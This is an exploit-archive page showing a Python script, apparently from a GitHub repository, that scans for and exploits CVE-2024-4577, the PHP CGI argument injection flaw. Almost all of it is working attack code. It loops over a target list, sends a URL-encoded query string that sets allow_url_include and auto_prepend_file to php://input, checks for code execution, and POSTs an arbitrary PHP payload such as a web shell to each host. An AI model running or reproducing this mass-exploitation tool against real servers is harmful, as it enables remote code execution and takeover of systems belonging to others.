Exploit databaseDownload repository ZIP
GH-f9b6be64283d59c2b8e97dbb9b7749e2
gh-ost00/cve-2024-4577-rce
Sources for CVE-2024-4577
48 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
gh-ost00/cve-2024-4577-rceRevision 37e2615ffe0f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2024-4577.py
Python · 3,731 bytesimport argparse
import requests
from colorama import init, Fore, Style
init(autoreset=True)
def scan_for_vulnerability(target_url):
"""Scanning for RCE CVE-2024-4577 PHP CGI Argument Injection vulnerability"""
try:
payload = "?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
url = f"{target_url}/{payload}"
# Send a POST request payload to detect vulnerability
response = requests.post(url, data="echo 'Test'; die;", timeout=5) # Adjust timeout as needed
if 'Test' in response.text:
return True
else:
return False
except requests.exceptions.RequestException:
return False
def exploit(target_url, payload_file):
"""Exploiting CVE-2024-4577 """
try:
payload = "?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
url = f"{target_url}/{payload}"
with open(payload_file, 'r') as file:
php_payload = file.read()
# Send a POST request with the provided PHP code
response = requests.post(url, data=php_payload, timeout=5)# Adjust timeout as needed
if response.status_code == 200:
print(f'{Fore.GREEN}[+] Exploit successful!')
else:
print(f'{Fore.RED}[!] Exploit may have failed.')
except requests.exceptions.RequestException as e:
print(f"{Fore.RED}Error: {e}")
if __name__ == "__main__":
banner = f"""{Fore.LIGHTCYAN_EX}
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
{Style.RESET_ALL}"""
parser = argparse.ArgumentParser(description="RCE: PHP CGI Argument Injection Scanner and Exploit",
epilog=f"{Fore.LIGHTCYAN_EX}Example: python3 CVE-2024-4577.py -t targets.txt -e -p shell.php{Style.RESET_ALL}")
print(banner)
parser.add_argument('-t', '--target', dest='target_file', help='File containing target URLs (e.g., targets.txt)', required=True)
parser.add_argument('-s', '--scan', action='store_true', help='Scan for the vulnerability only')
parser.add_argument('-e', '--exploit', action='store_true', help='Exploit the vulnerability after scanning')
parser.add_argument('-p', '--payload', dest='payload_file', help='PHP payload file to execute (e.g., shell.php)')
args = parser.parse_args()
if not any([args.target_file]):
parser.error('Please provide a file containing target URLs (--target)')
targets = []
with open(args.target_file, 'r') as file:
for line in file:
target = line.strip()
if target:
targets.append(target)
for target in targets:
if args.scan:
if scan_for_vulnerability(target):
print(f"{Fore.LIGHTGREEN_EX}[+] Target {target} is vulnerable to CVE-2024-4577{Style.RESET_ALL}\n")
else:
print(f"{Fore.LIGHTYELLOW_EX}[-] Target {target} is not vulnerable to CVE-2024-4577{Style.RESET_ALL}\n")
if args.exploit and args.payload_file:
exploit(target, args.payload_file)
elif args.exploit:
print(f"{Fore.RED}[-] Please provide PHP payload to execute using the --payload option")